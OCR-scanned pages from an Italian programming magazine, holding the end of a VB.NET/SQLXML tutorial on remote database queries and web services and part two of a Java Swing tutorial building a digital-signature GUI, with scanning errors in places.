sponse. L'oggetto WebRequest rappresenta una richie-
sta http, e può essere utilizzato per formulare l'interro-
112 ►►► M a g g
3
http: //www. itport al.it
gazione di una determinata risorsa presente ad un par-
ticolare indirizzo IP. Noi lo utilizzeremo per leggere la
risposta del nostro server web e costruire una stringa
contenente un documento XML.
Public Function ExecuteRemoteTemplate(ByVal
TemplateName As String) As String
Dim strReq = GlobalFunctions.IISConnectionURL
& "/Template/" & TemplateName
Dim _request As WebRequest = WebRequest.Create(strReq)
_request.Credentials = CredentialCache.DefauItCredentials
Dim _response As WebResponse = _request.GetResponse()
Dim respStream As Stream = _response.GetResponseStream()
Dim reader As StreamReader = New StreamReader(
respStream, Encoding. ASCII)
Dim respXML As String = reader.ReadToEndQ
respStream. Close()
Return respXML
End Function
Esaminando il codice riportato, si possono notare varie
tecniche, che ritengo peraltro interessanti per quanto
riguarda la formulazione di richieste http. Dopo aver
memorizzato la stringa contenente la nostra richiesta,
creiamo un oggetto di tipo WebRequest passandogli co-
me URL l'indirizzo della risorsa desiderata. La riga
successiva crea un oggetto WebResponse che viene asse-
gnato al metodo GetResponse dell'oggetto WebRequest.
In questo modo l'oggetto _response conterrà la risposta
http fornita dal server. A questo punto non resta che
leggere i dati in arrivo (caratteri ASCII), con uno
streamreader e ritornare una stringa contenente il do-
cumento che il server ha inviato. Questa tecnica è lar-
gamente impiegata da spider, webcrawler ed altri ro-
bot che effettuano ricerca di contenuti all'interno di pa-
gine web e che rappresentano i veri e propri "agenti"
dei motori di ricerca.
INTERROGAZIONE LOCALE
CON SQLXML
Per effettuare la stessa interrogazione in "locale" ovve-
ro se vogliamo consultare il listino prodotti nel server
SQL senza dover ricorrere ad una chiamata http, pos-
siamo impiegare SQLXML e la sintassi FOR XML AU-
TO largamente esaminata nel corso del precedente ar-
ticolo.
Public Function GetProducts() As XmlDocument
Dim _resultDoc As New XmlDocument()
Dim _memoryStream As New MemoryStream()
Dim _streamReader As New StreamReader(_memoryStream)
_memoryStream.Position =
Dim _command As SqlXmlCommand = New SqlXmlCommand
(Global Functions.SQLConnectionString)
_command.CommandText = "SELECT * FROM Products
FOR XML AUTO"
Try
_command.ExecuteToStream(_memoryStream)
Dim _root As XmlNode = _resultDoc.CreateElement("ROOT")
_resultDoc.AppendChild(_root)
_memoryStream.Position =
_root.InnerXml = _streamReader.ReadToEnd()
GetProducts = _resultDoc
Catch sqlEx As SqlXmlException
GetProducts = Nothing
End Try
End Function
In effetti, il codice riportato potrà suscitare in molti di
voi una domanda: perché è stato prodotto così? E so-
prattutto, che differenza c'è rispetto allo scenario Re-
quest/Response visto prima? Il punto è che l'interro-
gazione è stata fatta sullo stesso database (per sempli-
cità), ma se voi pensate di interrogare database diversi
(immaginate ad esempio a delle catene di negozi di ab-
bigliamento... un database diverso per ogni negozio!)
potreste avere sott'occhio l'intera situazione della cate-
na di negozi con un clic del mouse, impiegando tra l'al-
tro la normale rete telefonica ed il protocollo http. Non
male vero? Inoltre, i vari "mini-web-servers" sarebbero
di facile configurazione, richiedendo solo la creazione
di una Virtual Directory, l'esecuzione di uno script da-
tabase e la copia di un certo numero di XML Templated
Queries.
LA CREAZIONE
DELLA PAGINA ASP.NET
La creazione della pagina ASPX che effettua i due tipi
di interrogazioni è abbastanza banale. Riportiamo so-
lamente il codice presente nel code-behind della pagi-
na che viene eseguito al click dei due pulsanti. Se vor-
rete esaminare il codice in dettaglio, vi invito ad instal-
larvi l'intero codice dell'applicazione presente nel CD.
Private Sub btnLocalQuery_Click(ByVal sender As
System. Object, ByVal e As System. EventArgs) Handles
btnLocalQuery.Click
Dim _product As New CProduct()
Dim xmlDoc As XmlDocument = _product. GetProducts
XmlControl.DocumentContent = xmlDoc.OuterXml
XmlControl.TransformSource = "Xslt/Products.xslt"
IbIResults.Text = "Risultati Interrogazione Locale
(SQLXML.net)"
End Sub
Private Sub btnRemoteQuery_Click(ByVal sender As
System. Object, ByVal e As System. EventArgs)
Handles btnRemoteQuery.Click
Dim _product As New CProduct()
XmlControl.DocumentContent =
_product.ExecuteRemoteTemplate("AIIProducts.xml")
XmlControl.TransformSource = "Xslt/Products.xslt"
IbIResults.Text = "Risultati Interrogazione Remota
(SQL support for US)"
End Sub
Voglio farvi notare che è stato impiegato il controllo
Progettazione
Con il passare del
tempo la proget-
tazione delle applica-
zioni software richiede
analisi sempre più ap-
profondite, oltre ad
una grande conoscen-
za delle tecnologie che
ci vengono messe a di-
sposizione. Questo è
dovuto al fatto che le
applicazioni, una volta
relegate in un solo
computer desktop,
possono oggi interagi-
re potenzialmente con
milioni di altri compu-
ter.
http ://www.itport al.it
Maggio
2 3 ►►► 113
SICUREZZA
La sicurezza e
uno dei campi più
odiati dagli sviluppato-
ri odiano. Appesanti-
sce le applicazioni, ne
rende complessa la
configurazione, mette
alla berlina bachi e
mancanze... ma non
può essere ignorata.
Ricordate sempre: la
sicurezza della vostra
applicazione è robusta
come l'anello più de-
bole della catena che
userete per blindare il
vostro sistema. Svilup-
patore avvisato, mez-
zo salvato!
UpdateProduct
La funzione Up-
dateProduct
prende come argo-
mento un documento
xml, che sarà lo stesso
che fornitoci dalla fun-
zione GetProductSi-
tuation, opportuna-
mente modificato, ed
estraendo i dati utili
per effettuare l'update
richiama infine il me-
todo ExecuteRemote-
Template della classe
CProduct.
WebControl XML che permette, specificando un docu-
mento XML ed un foglio di stile XSLT, di trasformare i
dati con una sola riga di codice. Il foglio di stile impie-
gato è un semplicissimo foglio che crea una tabella con-
tenente i dati dei prodotti.
WEB SERVICES
Poniamo il caso che la nostra modernissima azienda
voglia creare anche un sistema che permetta di modifi-
care sui database remoti l'incremento dell'ordinato.
Nella nostra base di dati, l'ordinato è rappresentato dal
campo UnitsOnOrder della tabella products. Creiamo
dunque un Web Service che permetta di:
• Richiedere la situazione di un articolo.
• Effettuare delle modifiche al valore dell'ordinato
del prodotto stesso.
Il Web Service sarà poi consumato da una semplice ap-
plicazione WinForm, tanto per variare dalle "solite" pa-
gine ASP.NET. Creiamo il web service battezzandolo
WSProduct e cominciamo a scrivere un po' di codice nel
code-behind. È importante notare che questo Web Ser-
vice è collocato all'interno del Server principale della
nostra azienda, e non presso le sedi staccate. Esso do-
vrà però effettuare interrogazioni sui database delle se-
di staccate, e per farlo utilizzerà il meccanismo di ese-
cuzione remota di template XML. Il nostro web service
esporrà due metodi per interagire con i prodotti:
• GetProductSituation: accetta in input l'Id prodotto
restituendo un documento xml contenente le infor-
mazioni del prodotto;
• UpdateProduct: accetta in input un documento xml
e lo utilizza per fare l'update della fonte dati.
La tecnica che si basa sull' utilizzo di tipi standard co-
me gli interi e i documenti XML può essere estrema-
mente produttiva, in quanto ci permette di creare un
client che possa consumare il web service con qualsia-
si linguaggio (VB.NET, C#, Delphi, VB6, Java. . .).
Vediamo in dettaglio il codice:
<WebMethod()> Public Function
GetProductSituation(ByVal ProductID As Integer)
As XmlDocument
Dim _product As New CProduct()
Return _product.GetRemoteXMLDocument(
"GetSingleProduct.xml?ProductID=" &
ProductID. ToString)
End Function
<WebMethod()> Public Function UpdateProduct(ByVal
ProductInfo As XmlNode) As Boolean
Dim _product As New CProductQ
Dim _ProductID As String = ProductInfo. SelectSìngleNode
("Products"). Attributes("ProductID").Value
Dim _UnitsOnOrder As String =
ProductInfo. SelectSingleNode("Products").Attributes
("UnitsOnOrder"). Value
_product.ExecuteRemoteTemplate(
"UpdateProductOrder.xml?ProductID=" & _ProductID
& "&UnitsOnOrder=" & JJnitsOnOrder)
Return True
End Function
Il metodo GetProductSituation si limita ad invocare il
template remoto GetSingleProduct.xml con parametro
ProductID. Questo scatena l'invocazione remota del
template ed il reperimento del documento XML di ri-
sposta, che si ottiene come risultato del metodo. Per
completezza, esaminiamo anche i due template XML:
<ROOT xmlns:sql="urn:schemas-microsoft-com:xml-sql">
<sql:header>
<sql:param name='ProductID'>l</sql:param>
</sql:header>
<sql:query>
SELECT *
FROM Products
WHERE ProductID=@ProductID
FOR XML AUTO
</sql:query>
</ROOT>
<ROOT xmlns:updg="urn:schemas-microsoft-com:
xml-updategram">
<updg:header>
<updg:param name="ProductID"/>
<updg:param name="UnitsOnOrder" />
</updg:header>
<updg:sync >
<updg:before>
<Products ProductID="$ProductID" />
</updg:before>
<updg:after>
<Products UnitsOnOrder="$UnitsOnOrder" />
</updg:after>
</updg:sync>
</ROOT>
Il primo template effettua una query parametrica sulla
tabella prodotti, mentre il secondo è un diffgram di up-
date e va letto così: "cerca all'interno della tabella Products
la riga con ProductID uguale al parametro che ti è stato pas-
sato. Una volta trovata, sostituisci il valore del campo Unit-
sOnOrder con il secondo parametro che ti è stato fornito".
Ora, con grande interesse, facciamo partire la compila-
zione della nostra soluzione, ma ci accorgiamo subito
che la prima funzione GetProductSituation è testabile
dal browser, richiedendo solo un intero per fornire una
risposta, mentre la seconda, necessitando di un docu-
mento XML non è fruibile da browser. . . mi sa che dob-
biamo proprio creare un clienti!
IL CLIENT
Tanto per non smentire le grandi potenzialità di .NET
per quanto riguarda la produttività, in dieci minuti
114**-* M a g g
3
http: //www. itport al.it
Fig. 2: L'aspetto della nostra soluzione.
creiamo anche un client che possa consumare il web
service da noi creato. Aggiungiamo dunque alla nostra
soluzione NorthWeb un progetto di tipo Windows Ap-
plication (vedi Fig. 2) e cambiamone il nome in Sim-
pleProductBrowser. Aggiungiamo un po' di controlli
alla form che VS.NET ha creato per noi, fino al punto
di farla somigliare a quella in Fig. 3. L'idea è questa:
mediante il pulsante situazione effettuiamo l'interroga-
zione al web service, richiedendo informazioni sul par-
ticolare Id prodotto, mentre tramite il pulsante aggior-
na, effettuiamo l' update della quantità di ordinato sul-
la base di dati remota, ovvero sulla quantità di ordina-
to effettivamente presente nella nostra sede staccata
(negozio, deposito, magazzino etc.) Il codice per far
questo, pur se estremamente semplice, merita di essere
commentato per far apprezzare come il client possa es-
sere realizzato in qualunque altro linguaggio. Insisto
su questo argomento, proprio per far comprendere co-
me l'avvento SOAP e la creazione di Web Services per-
metta di far lavorare in modo meno rigido e più colla-
borativo sviluppatori con diverse formazioni. Riportia-
mo quindi le tre funzioni utilizzate dalla nostra form
VB.NET.
|i.uy]iiui,i,u,i],i,i,i]],i
Codice prodotto: |
^Jn]x|
Descrizione:
Aspetto esteriore: |
Prezzo unitario:
Disponibilità:
Ordinato:
Aggiungi:
"3
Aggiorna
,
Fig. 3: L'interfaccia del nostro semplice client.
Private Sub btnGetSituation_Click(ByVal sender As
System. Object, ByVal e As System. EventArgs) Handles
btnGetSituation. Click
GetProductSituation()
End Sub
Private Sub btnUpdate_Click(ByVal sender As System. Object,
ByVal e As System. EventArgs) Handles btnUpdate. Click
Dim _wsproduct As New localhost.WSProduct()
Dim _Product As XmlNode =
_productInfo.SelectSingleNode("ROOT/Products")
Dim UnitsOnOrder As Integer = Convert.ToInt32(
_Product.Attributes("UnitsOnOrder").Value)
UnitsOnOrder = UnitsOnOrder + Convert.ToInt32(
nudAddedUnits.Text)
_Product.Attributes("UnitsOnOrder").Value =
UnitsOnOrder. ToString
If _wsproduct.UpdateProduct(
_productInfo.SelectSingleNode("/")) Then
GetProductSituation()
End If
End Sub
Private Sub RefreshFields(ByVal _Product As XmlNode)
txtName.Text = _Product.Attributes("ProductName").Value()
txtQuantityPerUnit.Text = _Product.Attributes("Quantity-
PerUnit").Value()
txtUnìtPrice.Text = _Product.Attributes("UnitPrice").Value()
txtUnitsInStock.Text = _Product.Attributes(
"UnitsInStock"),ValueQ
txtUnitsOnOrder.Text = _Product.Attributes(
"UnitsOnOrder"). ValueQ
nudAddedUnits.Text = "0"
End Sub
Private Sub GetProductSituationQ
Dim _wsproduct As New localhost.WSProduct()
_productInfo.LoadXml(_wsproduct.GetProductSituation(
Convert.ToInt32(txtCode.Text)).OuterXml)
Dim _Product As XmlNode =
_productInfo.SelectSingleNode("ROOT/Products")
RefreshFields(_Product)
End Sub
Così facendo abbiamo concluso lo sviluppo del mini-
client WinForms che ci ha permesso di modificare un
database remoto, situato chissà dove!
CONCLUSIONI
Si potrebbe continuare ancora creando altre applicazio-
ni per la nostra ardita architettura, ma la disamina del-
le problematiche di un'applicazione del mondo reale
va al di là degli scopi di questo articolo. Spero che il
mio scritto vi possa suggerire nuove soluzioni per la
condivisione ed il reperimento di dati remoti, argo-
mento oggi più che mai sotto i riflettori. Il principio
guida deve essere quello di creare applicazioni intero-
perabili e basate su standard ben conosciuti, maturi e
provati come TCP/IP, HTTP, XML e SOAP. Le tecnolo-
gie per creare i client e i componenti server sono di se-
condaria importanza, ma è innegabile che il .NET Fra-
mework e l'ambiente di sviluppo Visual Studio NET
rendano la vita degli sviluppatori un po' meno fru-
strante e molto, molto più varia ed interessante. Da
questo cambiamento, perciò, traggono giovamento le
applicazioni prodotte che saranno certamente più fles-
sibili, estendibili e di facile manutenzione.
Ing. G. Davide Senatore
SQL
XML
GetProduct
Situation
al La funzione Get-
±\ ProductSituation
invoca il metodo omo-
nimo del web service
che abbiamo aggiunto
come referenza al no-
stro progetto, otte-
nendo come risposta
un nodo XML che vie-
ne passato alla funzio-
ne RefreshFields, la
quale effettua un po-
polamento dei campi a
video.
Numeric
UpDown
/-a Grazie al control-
-~J\ lo NumericUp-
Down possiamo ag-
giungere la quantità di
pezzi all'ordinato del
nostro articolo, ed alla
pressione del pulsante
btnUpdate invochiamo
l'altro metodo del web
service, passando a
quest'ultimo lo stesso
documento xml (mo-
dificato nell'attributo
UnitOnOrder) memo-
rizzato dopo la prima
invocazione del Web
Service. Se l'operazio-
ne va a buon fine, ef-
fettuiamo un refresh
dei dati rileggendo il
documento xml dal
server.
http ://www.itport al.it
g g
3 ►►► 115
A d
n e e d
E d
t i o n
firma
digitale
e-government
CRITTOGRAFIA E FIRMA DIGITALE
PARTE SECONDA
Per completare l'applicazione sviluppata, in questo nuovo
articolo progetteremo l'interfaccia utente.
File sul CD
\soft\codice
\egovernment.zip
File sul Web
www.itportal.it
iop69\egovernment.zip
Algoritmo
di Hashing
/-al Algoritmo che pro-
'--J' duce una stringa
binaria di lunghezza co-
stante e piccola, nor-
malmente 128 o 160
bit, a partire da un qual-
siasi file che riceve in
ingresso. E' garantita
l'unicità di tale stringa,
nel senso che a due te-
sti diversi non corri-
sponde la medesima
impronta.
Questo tipo di certificazione, oltre all'integrità
della documentazione informatica, fornisce
precise garanzie circa l'dentità personale degli
attori che partecipano alla transazione. Il processo di
firma si basa sull'impiego di una coppia di chiavi asim-
metriche: la chiave privata, impiegata dal mittente per
firmare il documento, e la chiave pubblica, contenuta
in un certificato, usata dal destinatario per verificare
l'integrità dello stesso. Colui il quale vuole usare il si-
stema di firma si deve munire delle sopraccitate chiavi.
La "firma" è stata ottenuta mediante un apposito algo-
ritmo di cifratura, che in letteratura è noto come DSA
(Digital Signature Algorithm). Per ottimizzare tale proce-
dura l'algoritmo di cifratura non viene applicato diret-
tamente al documento originale, le cui dimensioni so-
no variabili, ma a una stringa binaria di lunghezza fis-
sa ottenuta facendo l'Hashing del documento origina-
le. Cifrando, con la chiave privata, l'impronta digitale
generata in precedenza, otteniamo la firma digitale del
documento informatico. In questo modo la firma risul-
ta legata sia al soggetto sottoscrittore (attraverso la
chiave privata usata per la generazione), sia al docu-
mento trattato (per il tramite dell'impronta). La verifi-
ca invece viene effettuata ricalcolando, con la medesi-
ma funzione di hash usata nella fase di sottoscrizione,
il valore dell'impronta del messaggio trasmesso, e con-
trollando che il valore così ottenuto coincida con quel-
lo generato per decodifica della firma digitale. In tal ca-
so il documento firmato dal mittente non ha subito mo-
difiche ed inoltre si ha la certezza dell'identità del mit-
II processo di firma digitale
?
SfffMtt Ji Anna
Q"H — | lium ffiplìle
^~
-H(fi — ^ÌIh]— > |codifica~| — ■-
IV rfc"(v
Q-i — i
r ie — + 1 r
| decodifica |— jMD
Ce
ò
Cirfniito OK???
Mario
Fig. 1: Processo di Firma e Verifica.
tente il quale non potrà ripudiare il documento inviato.
Le classi che implementano le funzionalità soprade-
scritte, sono state dettagliatamente descritte nel prece-
dente articolo ed allegate nel package presente sul CD.
GRAPHIC USER INTERFACE
Il primo passo nella realizzazione di un'interfaccia con-
siste nel definire un frame chiudibile con la funziona-
lità di contenitore per l'intera intefaccia. L'oggetto che
realizza fisicamente il "top - level container" lo chia-
meremo GLTL e si comporta esattamente come JFmme
del pacchetto javax.swing. Ovviamente sarà necessario
gestire l'uscita dall'applicazione. In Java, infatti, il com-
portamento predefinito di un frame consiste semplice-
mente nel nascondersi quando viene chiuso dall'uten-
te. Quindi occorre prevedere un sistema che avvisa il
back- end quando il frame viene chiuso, in modo tale
da determinare la chiusura dell'applicazione stessa.
Per implementare queste funzionalità usiamo il mo-
dello ad eventi AWT (Abstract Window Toolkit) di Java.
In Java i componenti dell'interfaccia utente, bottoni, fi-
nestre, area di testo, sono delle sorgenti di eventi. Il si-
stema operativo mette a disposizione di ogni sorgente
diverse attività quali gestione mause, pressione tasti
ecc. ... La "sorgente di eventi" descrive la natura dell'e-
vento, attraverso un "oggetto evento", inoltre conser-
vano una serie di lisfner (ascoltatori), oggetti che ven-
gono chiamati quando si verifica un evento. In pratica
la sorgente di eventi, attraverso un metodo appropria-
to dell'interfaccia listner, trasmette le informazioni ri-
guardanti l'evento ai vari lisfner, i quali analizzano
l'oggetto evento ricevuto e generano la risposta all'e-
vento stesso. Dopo aver accennato la semantica della
gestione degli eventi, possiamo cominciare a scrivere la
nostra classe. Inizialmente definiamo il package di ap-
partenenza dell'oggetto, quindi importiamo i frame-
work necessari ad implementare le funzionalità de-
scritte.
package firma2;
import java.awt.*;
import java.awt.event.*;
116 ►►► M a g g
3
http: //www. itport al.it
import javax. swing.*;
Si passa quindi alla definizione della classe che realiz-
za il frame e ricorrendo alla tecnica delle classi annida-
te anonime gestiamo l'evento di chiusura del frame. In-
fatti come possiamo osservare, la classe JFrame, quan-
do l'utente cerca di chiudere la finestra, genera un Win-
dowEvent. La risposta a tale evento sarà la chiusura del-
l'applicazione mediante il metodo exit dell'oggetto Sy-
stem.
sottoscrizione. Si avverte, quindi, l'esigenza si avere
sulla medesima interfaccia entrambe le funzionalità.
L'oggetto Swing che permette di implementare diverse
funzionalità sul medesimo pannello è il TabbedPane.
package fìrma2;
import javax. swing.*;
import java. io.*;
import java.awt.*;
import java.awt.event.*;
firma
digitale
public class Guì extends JFrame {
public GuiQ {
addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
System. exit(O);} });
Ulteriori approfondimenti sulla gestione degli eventi è
consultabile sulla documentazione ufficiale Sun dispo-
nibile all'indirizzo http:Wwiviv.java.sun.com. Dopo la
visualizzazione di un frame vuoto, che viene chiuso in
maniera corretta, passiamo alla fase in cui predispo-
niamo tale frame a ricevere i componenti della GUI.
In Java i frame sono utilizzati per fungere da conteni-
tori di componenti quali bottoni, area di testo, label,
ecc. Solitamente i componenti precedentemente elen-
cati, che compongono la GUI, vengono posizionati su
un altro componente denominato "pannello" che vie-
ne successivamente aggiunto al frame. Per meglio ca-
pire il processo di creazione dell'interfaccia analizzia-
mo in dettaglio la struttura di un frame. Un JFrame è
sorprendentemente complesso; infatti in esso sono
stratificati quattro pannelli. Il pannello principale, il
pannello stratificato e quello di vetro sono necessari
per la gestione della barra dei menù, quindi la loro trat-
tazione viene per il momento tralasciata. Per realizzare
l'ambientazione che ci interessa consideriamo il "pan-
nello del contenuto", il quale dopo essere stato arreda-
to con i vari oggetti Swing che compongono la GUI,
viene attaccato al frame precedentemente definito. Per
completezza ricordiamo che il pannello del contenuto
presenta come layout predefinito il BorderLayout.
Container contentPane=getContentPane();
contentPane.add(new TabbedPaneDemoQ,
BorderLayout.CENTER);
}// costruttore
}
Nel nostro caso selezioniamo il "pannello del contenu-
to" dal frame, e quindi incolliamo su di esso l'oggetto
che implementa la GUI.
ARREDIAMO IL PANNELLO
Ricordiamo che l'applicazione implementata deve con-
sentire al mittente di generare la firma digitale di un
documento informatico e al destinatario la possibilità
di verificare l'autenticità della firma generata in fase di
Definito il package di appartenenza e importati gli og-
getti nativi di supporto, definiamo l'oggetto che imple-
menta le funzionalità richieste. In pratica, un pannello
che permetta di gestire entrambe le funzionalità del-
l'applicazione: la firma e la verifica. Poiché il lavoro
dell'applicazione è prettamamente orientato alla mani-
polazione di file andiamo a definire gli oggetti Java che
supportano la loro gestione. Per evitare problemi di vi-
sibilità locale, all'interno dell'oggetto che da qui a poco
implementeremo, tutti gli oggetti File verranno dichia-
rati static.
Si passa quindi alla dichiarazione degli oggetti swing
che compongono i "tastierini" dei due pannelli. Per
evitare qualsiasi equivoco consideriamo un "tastieri-
no" un set di oggetti JButton, mediante i quali sarà pos-
sibile effettuare le operazione di input.
// tastierino pannello funzionalità Firma
static JButton signButton =null;
static JButton searchButton = nuli;
static JButton firma = nuli;
// tastierino pannello funzionalità Verifica
static JButton verificaButton =null;
static JButton search = null;
static JButton searchSignButton = null;
static JButton startVerifica =null;
Attraverso il "costruttore" implementiamo l'oggetto
TabbedPane, che permette la gestione di diverse funzio-
nalità sulla stessa area di lavoro, successivamente me-
diante la tecnica dei contenitori supportata da Java, su
ognuna delle diverse aree di lavoro andremo a custo-
mizzare le differenti funzionalità.
public TabbedPaneDemoQ {
GUI
Graphic User In-
terface è l'inter-
faccia mediante la
quale l'applicazione
dialoga con l'utente.
http ://www.itport al.it
g g
3 ►►► 117
SELECT
FROM PRODUCTS INfàUR JOJN
CATEGQétriF. F
R XML AlfTO
Categor^^m
"Beve IS ges'V>
<produc:- -■
ÓuctlD-'l"
- 1 '-"' '9" >
«ZATEGORIES
CategoryNainm
■Seve«ges7>
firma
digitale
DSA
Digital Signature
Algorithm è l'algo-
ritmo che consente di
generare la firma del
documento.
Swing
Libreria di classi
per lo sviluppo di
Gui; fornisce semplice-
mente componenti di
interfaccia utente più
performanti rispetto a
quelli forniti da AWT.
Imagelcon icon = new ImageIcon("images/middle.gif");
JTabbedPane tabbedPane = new JTabbedPaneQ;
Definito il contenitore di secondo livello, passiamo alla
realizzazione dei pannelli che implementano le singole
funzionalità. Nel rispetto della filosofia Java, deleghia-
mo tale compito a due metodi esterni al costruttore i
quali, non ricevendo come ingresso alcun parametro,
restituiranno un oggetto Container. Questi oggetti altro
non sono che le interfaccie relative alle funzionalità di
Firma e Verifica di un documento informatico, quindi
per completare la nostra interfaccia sarà sufficiente at-
taccare tali pannelli alle relative funzionalità dell'ogget-
to tabbedPane e collocare il tutto sul frame principale.
A questo punto, non ci resta che realizzare i metodi che
permettono di arredare i pannelli relativi alle due mo-
dalità di funzionamento. Poiché il criterio utilizzato
per la loro implementazione è del tutto similare, limi-
teremo la descrizione al solo pannello che supporta la
generazione della firma. Il compito essenziale dell'in-
terfaccia utente è quello di conferire all'applicazione
un elevato livello di interattività con l'utente. Infatti, ol-
tre a consentire la selezione e l'immisione dell'imput,
deve fornire adeguati riscontri all'utente sullo stato
delle operazioni effettuate e da effettuare. Per garanti-
re tali prerogative, il layout dell'interfaccia, oltre al set
di pulsanti deputati alla selezione dei vari input, com-
prende una vasta area di testo su cui tutte le operazio-
ni vengono annotate man mano che sono eseguite. Poi-
ché i principali attori della nostra applicazione sono i
file, di qualsiasi formato, si avverte la necessità di na-
vigare il file system della macchina su cui si opera,
quindi facciamo ricorso anche al componente JFile-
Chooser di swing. Per meglio posizionare i vari compo-
nenti nel frame, risulta conveniente utilizzare un pan-
nello che si comporta da contenitore, su cui posiziona-
re gli stessi. Unitamente al pannello definiamo gli og-
getti già mensionati: JTextArea che permette la gestione
delle aree di testo il set di JButton che definisce il tastie-
rino e il JFileChooser. Una adeguata garanzia sul look e
la funzionalità dell'intera applicazione la otteniamo
prevedendo alcune protezioni. Per quanto riguarda la
JTextArea , infatti, viene disabilitata la scrittura, garan-
tendo massima chiarezza circa lo stato dell'applicazio-
ne, mentre per il set di JButton, che compongono il ta-
sterino, di volta in volta viene abilitato il tasto di una
funzionalità se e solo se la precedente operazione è an-
data a buon fine. Questi accorgimenti fanno si che l'ap-
plicazione sia di immediato apprendimento, semplifi-
cando così il lavoro dell'utenza meno esperta.
protected Component makeFirstPanel() {
final JFileChooser fc = new JFileChooser();
JPanel panel = new JPanel(new BorderLayout());
final JTextArea log = new JTextArea(5,20);
log.setMargin(new Insets(5,5,5,5));
log.setEditable(false);
JScrollPane logScrollPane = new JScrollPane(log);
Nella gestione del tastierino, per evitare stranezze do-
vute alla gestione dei layout di Java, si è pensato di in-
trodurre un pannello supplementare che funge da con-
tenitore più piccolo il quale, dopo essere stato arredato,
viene collocato in quello di livello superiore; il tutto ov-
viamente sotto il controllo di un manager del layout.
// pannello che contiene il tastierino
JPanel buttonPanel= new JPanel();
// bottoni che compongono il tastierino
signButton = new JButton("Documento da firmare");;
searchButton = new JButton("Cerca la chiave");
firma = new JButton("Firma il documento");
/* abilitiamo solo il bottone che serve per selezionare il
file da firmare
gli altri bottoni che compongono il tastierino sono
disabilitati.*/
signButton .setEnabled(true);
searchButton. setEnabled(false);
firma.setEnabled(false);
Prima di addentrarci nel codice che si occupa della ge-
stione del file system, è conveniente spendere qualche
parola circa la gestione dell'evento relativo alla pressio-
ne di un tasto. In questo caso la sorgente dell'evento è
l'oggetto JButton di swing, quindi procediamo all'atti-
vazione del relativo listner ricorrendo alla tecnica delle
classi anonime. Quando si verifica il click sul tasto, il li-
stner cattura l'evento e attraverso il metodo action-
Performed, origina la risposta: la navigazione del file
system e la conseguente selezione del file cercato.
signButton. addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int returnVal = fc.showOpenDialog(TabbedPaneDemo.this);
if (returnVal == JFileChooser.APPROVE_OPTION) {
File documento = fc.getSelectedFile();
TabbedPaneDemo.docFile=documento;
Recuperato il file in esame, l'applicazione comunica al-
l'utente, attraverso l'area di testo, che il file sul quale
produrre la firma digitale è stato selezionato; sono-
quindi abilitate le successive funzionalità dei tasti non
attive in questa fase. Ovviamente nel caso in cui tale
operazione fallisse l'applicazione prowederà a comu-
nicare l'esito negativo all'utente.
log.append("Documento da firmare : " +
118*-*-* M a g g
2 3
http: //www. itport al.it
documento. getName() + "." + newline);
TabbedPaneDemo.searchButton.setEnabled(true);
TabbedPaneDemo.signButton.setEnabled(false);
} else {
log.append("Operazione non riuscita" + newline);} }
});
Discorso analogo vale per la gestione del tasto che con-
sente la selezione della chiave privata necessaria per at-
tivare il processo di firma.
searchButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
int returnVal = fc.showOpenDialog(TabbedPaneDemo.this);
if (returnVal == JFileChooser.APPROVE_OPTION) {
File Key = fc.getSelectedFile();
// file che contiene la chiave
TabbedPaneDemo.keyPrivFile=Key;
log.append("Chiave:"+Key.getName() + "." + newline);
TabbedPaneDemo. firma. setEnabled(true);
TabbedPaneDemo.searchButton.setEnabled(false);
} else {
log.append("Operazione non riuscita" + newline);} }});
Dopo aver selezionato il documento sul quale genera-
re la firma digitale, e la chiave privata usata per cifrar-
lo, possiamo attivare il processo di firma. Ovviamente
la generazione della firma avviene come risposta al ve-
rificarsi di un evento: la pressione del relativo tasto.
L'unica differenza con le precedenti gestioni dei tasti è
riscontrabile all'interno del metodo actionPerfomed, il
quale risponde all'evento generato con la creazione
dell'oggetto che genera la firma digitale di un docu-
mento informatico, descritto dettagliatamente nel pre-
cedente articolo. FirmaDocumento, riceve come parame-
tri i file che contengono il documento e la chiave del fir-
matario e produce come risultato un file che contiene la
firma digitale del documento.
firma. addActionListener(new ActionListenerfJ {
public void actionPerformed(ActionEvent e) {
FirmaDocumento fd = new FirmaDocumento(
TabbedPaneDemo. keyPhvFile,TabbedPaneDemo.docFile);
TabbedPaneDemo. signButton.setEnabled(true);
TabbedPaneDemo. firma.setEnabled(false);
log.append("II documento Firmato é : " +
TabbedPaneDemo. docFile.getNamefJ + "." + newline);}
jh
button Panel. add(signButton);
button Panel. add(searchButton);
button Panel, add(firma);
panel. add(buttonPanel, BorderLayout. SOUTH);
panel. add(logScroll Pane, BorderLayout. CENTER);
return panel; }
La realizzazione del pannello che implementa la fun-
zionalità di verfica del documento, segue sostanzial-
mente lo stesso procedimento quindi la trattazione e la
lettura del codice allegato nel CD è lasciata al lettore.
AVVIAMO L'APPLICAZIONE
A questo punto; il package che consente di supportare
la firma digitale di un documento informatico è ulti-
mato. Bisogna quindi realizzare un oggetto che utilizza
le funzionalità implementate in tale package: la classe
di start-up. Questa classe importerà tutte le funziona-
lità implementate nel package e conterrà il mairi come
unico metodo dell'oggetto.
L'unico parametro del main sarà il tradizionale vettore
di stringe, solitamente utilizzato per passare alle appli-
cazioni degli input a riga di comando, non utilizzato
nel nostro caso. Definita la struttura standard del me-
todo main procediamo con l'istanziazione dell'oggetto
GUI precedentemente descritto, quindi fissiate le di-
mensioni e il titolo da assegnare al nostro frame visua-
lizziamo il tutto attraverso il metodo setVisible di JFra-
me. Il risultato, lanciando l'applicazione, sarà quello di
una finestra che contiene l'interfaccia descritta nell'ar-
ticolo.
/* classe che contiene il main per avviare l'applicazione */
import firma2.*;
public class StartApplication {
public static void main(String[] args) {
Gui window = new Gui();
window.setTitle("Firma & Verifica");
window. setSize(700, 300);
window. setVisible(true);
_}
}//StartApplication
GESTIONE DELLE CHIAVI:
L'INTERFACCIA
L'interrogazione del KeyStore con la conseguente
estrazione delle chiavi avviene attraverso il package ge-
storeChiavi le cui funzionalità sono state dettagliata-
mente descritte nel precedente articolo. Per coloro che
non hanno seguito lo scorso appuntamento, ricordia-
mo che l'applicazione dopo aver individuato il Keysto-
re, protetto da password, all'interno del filesystem,
provvedeva ad individuare una coppia di chiavi asim-
metriche all'interno dello stesso. Ricordiamo, altresì,
che la coppia di chiavi asimmetriche sono referenziate
all'intrerno del KeyStore da una password, che proteg-
ge la chiave privata e un alias che identifica il certifica-
